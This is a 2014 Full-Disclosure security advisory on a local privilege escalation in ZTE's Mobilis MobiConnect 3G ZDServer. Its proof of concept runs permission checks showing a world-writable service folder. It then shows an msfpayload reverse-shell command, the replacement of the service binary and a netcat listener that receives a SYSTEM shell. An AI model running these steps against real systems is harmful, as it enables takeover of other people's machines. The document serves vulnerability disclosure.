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List: full-disclosure
Subject: [FD] Mobilis MobiConnect 3G ZDServer 1.x - Privilege Escalation Vulnerability
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2014-12-25 9:57:43
Message-ID: 549BDF97.1080109 () vulnerability-lab ! com
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Document Title:
===============
Mobilis MobiConnect 3G ZDServer 1.x - Privilege Escalation Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1385
Release Date:
=============
2014-12-19
Vulnerability Laboratory ID (VL-ID):
====================================
1385
Common Vulnerability Scoring System:
====================================
6.4
Product & Service Introduction:
===============================
http://www.3G.dz
http://wwwen.zte.com.cn/en
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local privilege escalation \
vulnerability in the official ZTE Mobilis 3g MobiConnect 3G++ ZDServer v1.0.1.2 software.
Vulnerability Disclosure Timeline:
==================================
2014-12-19: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
ZTE Corporation
Product: Mobilis 3g MobiConnect 3G++ ZDServer - Software 1.0.1.2
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
Technical Details & Description:
================================
A local privilege escalation vulnerability has been discovered in the official ZTE Mobilis 3g \
MobiConnect 3G++ ZDServer v1.0.1.2 software. The local security vulnerability allows an \
attackers to gain higher access privileges by execution of arbitrary codes.
The vulnerability could potentially allow an authorized but non-privileged local user to \
execute arbitrary code with elevated privileges on the system. A successful attempt would \
require the local user to be able to insert their code in the system root path undetected by \
the OS or other security applications where it could potentially be executed during \
application startup or reboot. If successful, the local user's code would execute with the \
elevated privileges of the application.
The security risk of the privilege escalation vulnerability is estimated as high with a cvss \
(common vulnerability scoring system) count of 6.4. Exploitation of the vulnerability requires \
a local privileged systen user account without user for interaction. Successful exploitation of \
the privilege escalation web vulnerability results in software- or system compromise.
Proof of Concept (PoC):
=======================
The local vulnerability can be exploited by local attackers with restricted system privileges \
and without user interaction. For security demonstration or to reproduce the security \
vulnerability follow the provided information and steps below to continue.
--- PoC Session Logs ---
C:\Users\s-dz>sc qc ZDServ
[SC] QueryServiceConfig réussite(s)
SERVICE_NAME: ZDServ
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ZDServ
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\s-dz\Desktop>net users s-dz
Nom d'utilisateur s-dz
Nom complet s-dz
Commentaire
Commentaires utilisateur
Code du pays 000 (Valeur par défaut du système)
Compte : actif Oui
Le compte expire Jamais
Mot de passe : dernier changmt. 18/12/2014 00:58:48
Le mot de passe expire Jamais
Le mot de passe modifiable 18/12/2014 00:58:48
Mot de passe exigé Oui
L'utilisateur peut changer de mot de passe Oui
Stations autorisées Tout
Script d'ouverture de session
Profil d'utilisateur
Répertoire de base
Dernier accès 17/12/2014 22:54:46
Heures d'accès autorisé Tout
Appartient aux groupes locaux *Utilisateurs
Appartient aux groupes globaux *None
La commande s'est terminée correctement.
C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\ProgramData\ZDSupport\ZDServ\"
C:\ProgramData\ZDSupport\ZDServ
Medium Mandatory Level (Default) [No-Write-Up]
RW Tout le monde
FILE_ALL_ACCESS
RW AUTORITE NT\SystÞme
FILE_ALL_ACCESS
RW BUILTIN\Administrateurs
FILE_ALL_ACCESS
RW BUILTIN\Utilisateurs
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROL
C:\Users\s-dz\Desktop>cacls "C:\ProgramData\ZDSupport\ZDServ\"
C:\ProgramData\ZDSupport\ZDServ Tout le monde:F
Tout le monde:(OI)(CI)(IO)F
AUTORITE NT\Système:(OI)(CI)(ID)F
BUILTIN\Administrateurs:(OI)(CI)(ID)F
CREATEUR PROPRIETAIRE:(OI)(CI)(IO)(ID)F
BUILTIN\Utilisateurs:(OI)(CI)(ID)R
BUILTIN\Utilisateurs:(CI)(ID)(accès spécial :)
FILE_WRITE_DATA
FILE_APPEND_DATA
FILE_WRITE_EA
FILE_WRITE_ATTRIBUTES
############## PROOF ######################
C:\Users\s-dz\Desktop>net user s-dz
Nom d'utilisateur s-dz
Nom complet s-dz
Commentaire
Commentaires utilisateur
Code du pays 000 (Valeur par défaut du système)
Compte : actif Oui
Le compte expire Jamais
Mot de passe : dernier changmt. 18/12/2014 01:12:55
Le mot de passe expire Jamais
Le mot de passe modifiable 18/12/2014 01:12:55
Mot de passe exigé Oui
L'utilisateur peut changer de mot de passe Oui
Stations autorisées Tout
Script d'ouverture de session
Profil d'utilisateur
Répertoire de base
Dernier accès 18/12/2014 03:16:07
Heures d'accès autorisé Tout
Appartient aux groupes locaux *Utilisateurs
Appartient aux groupes globaux *None
La commande s'est terminée correctement.
Before we go over to action we need to check the status of the ZDserv service. In this case we \
can see it is set to "AUTO_START" so it will launch
C:\Windows\system32>sc qc ZDserv
[SC] QueryServiceConfig réussite(s)
SERVICE_NAME: ZDserv
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ZDServ
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
root@samir:~# msfpayload windows/shell_reverse_tcp lhost='192.168.1.5' lport='4433' X > \
C:\Users\s-dz\Desktop\evil-ZDserv.exe
C:\Users\s-dz\Desktop>copy evil-ZDserv.exe C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe
Remplacer C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe (Oui/Non/Tous) : o
1 fichier(s) copié(s).
and later we will open cmd with administrator
C:\Windows\system32>sc start zdserv
###################################################################
C:\Users\s-dz\Desktop>nc.exe -lvp 4433
listening on [any] 4433 ... \
connect to [192.168.1.5] from s-dz [192.168.1.5] 4638
Microsoft Windows [version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Tous droits réservés.
C:\Windows\system32>whoami
whoami
autorite nt\système
C:\Windows\system32>
Security Risk:
==============
The security risk of the local privilege escalation vulnerability in the software is estimated \
as high. (CVSS 6.4)
Credits & Authors:
==================
Hadji Samir S-dz@hotmail.fr
Disclaimer & Information:
=========================
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